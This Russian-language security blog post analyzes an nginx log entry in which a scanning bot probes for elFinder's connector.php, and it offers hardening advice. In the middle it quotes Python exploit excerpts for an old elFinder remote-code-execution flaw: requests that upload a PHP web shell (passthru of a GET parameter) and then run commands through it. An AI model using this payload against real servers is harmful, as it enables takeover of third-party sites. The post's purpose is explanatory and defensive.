Категория: Разработка Теги: Уязвимости Опубликовано: 11 июля 2023

Что за атака /plugins/ elfinder/ php/ connector.php

Начнем с того, что я нашел в логе nginx такую запись (сайт не этот):

['194.38.21.214 - - [19/May/2023:07:40:12 +0300] "GET /plugins/elfinder/php/connector.php HTTP/1.0" 404 18977 "-" "ALittle Client"\n', False]

Что пытался сделать злоумышленник?

Безусловно, этот запрос направлен не вручную, а через специального бота на Go, который называется "ALittle Client". Однако, управляет им человек, поэтому для упрощения я буду говорить именно про этого злоумышленника.

ALittle Client обычно ищит файлы, которые говорят о взломе сайта. Некоторый зловредный код распространяется без обратного соединения, чтобы обойти средства защиты. Именно на этот случай и нужны подобные боты. Бот поможет найти скомпрометированную машину, а полезная нагрузка на следущем этапе сценарии вообще не проблема.

Разберём HTTP-запрос

Строка 404 после запроса в кавычках говорит о том, что запрашиваемый файл не существует и соответственно ему вернулся статус 404 Not found. На самом деле, сам по себе статус 404 не означает, что вектор атаки не сработал - тут нужно повторить запрос и посмотреть, не добавилось ли что-то лишнее в запрос, а в случае со слепыми XSS (Blind XSS) вектор атаки может сработать не в том месте, где ввели команду.

IP-адрес злоумышленника 194.38.21.214 и он принадлежит Дата-центру SmartMediaNetwork, который находится в Киеве, Украина.

Сам запрос "GET /plugins/elfinder/php/connector.php HTTP/1.0" говорит о том, что потенциальный злоумышленник хочет проверить наличие файла connector.php по указанному в запросе пути.

В базе AbuseIPDB указано, что данного уже было более 842 атаки на другие сайты.

Технические детали

Сам по себе путь /plugins/elfinder/php/connector.php говорит о том, что злоумышленник пытается найти следы интеграции файлового менеджера с открытым исходным кодом для интернета, написанного на JavaScript с использованием jQuery.

Скорее всего это попытка найти файл и в случае успешного поиска проэксплуатировать уязвимость еще от 2015 года. К слову, elfinder уже около четырех лет не обновлялся.

Так вот, уязвимость эта не имеет CVE, но легко позволяет удаленно выполнить код.

Вот пример урла из эксплоита

opener.open('http://'+host+'/'+path+'/php/connector.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')

в переменной host хранится доменное имя, а в переменной path путь до этого файла. Собрать возможные пути не проблема, достаточно набрать в поиске по github. Как не трудно догадаться в evilfile хранится имя вредоносного файла, который требуется запустить.

Однако, как туда попадёт этот вредоносный файл? Легко. В представленном запросе используется GET, а в этом же эксплоите можно направить при помощи POST запроса этот же файл:

evilfile = raw_input('\x20\x20EvilFileName:')
payload = urllib.urlencode({
'cmd' : 'put',
'target' : 'l1_'+evilfile.encode('base64','strict'),
'content' : '<?php passthru($_GET[\'cmd\']); ?>'
})

write = opener.open('http://'+host+'/'+path+'/php/connector.php', payload)

Также этот эксплоит позволяет передачу команд и просмотр напечатанных результатов:

execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
print reverse;

Если посмотреть другие атаки с этого IP-адреса в базе abuseipdb, то становится ясно, что имеет место поиск уязвимых или зараженных сайтов для последующего взлома.

Как защитить веб-сервер?

Немного информации

Скорее всего злоумышленник выполнял сканирование веб-приложения на наличие уязвимостей, используя инструменты для автоматического сканирования уязвимостей.

Любой админ скажет, что реагировать на такие записи в журнале не нужно, но любой опытный пентестер скажет, что реагировать на такие записи в журнале нужно!

Автоматические сканирования на наличие уязвимостей веб-серверов ботами со всего мира - это не просто неприятное явление, но и серьезная угроза для безопасности веб-сервера. Согласно отчету, опубликованному в 2019 году, боты составляют около 37,2% всего трафика Интернета, и это число продолжает расти. Боты, сканирующие веб-серверы, могут искать уязвимости, которые можно использовать для получения несанкционированного доступа к серверу или к данным, которые он содержит.

Теперь скажите честно, последней ли версии у вас всё ПО и библиотеки как на веб-сервере, так и в самом сайте? Уверен, что у большинства будут далеко не последние версии, так как при обновлении много придется настраивать заново. Пора задуматься и понять, что риск не равен нулю.

С чего начинается атака хакера или пентестера на веб-сервер?

Первым этапом является именно OSINT, но если упростить, то сначала ему нужно собрать информацию. Все прочие виды атак мы опустим, так как тут речь идет о конкретной. В данном случае, злоумышленник собирает информацию о сайте и сервере из открытых источников.

Далее через кучу прокси-серверов сканирует сервер на наличие уязвимостей. При таком сканировании на сервер отправляет множество запросов, но фишка в том, что он использует целый пул прокси-серверов, поэтому каждый 1-2 запроса выполняются с разных IP-адресов. Однако, при частых сканированиях они все будут присутствовать в спам базах.

Если его сканер найдет уязвимость, тогда злоумышленник уже сам будет производить атаку, хотя некоторые так называемые сканирования выполняли через пентестерский фреймворк metasploit методом check.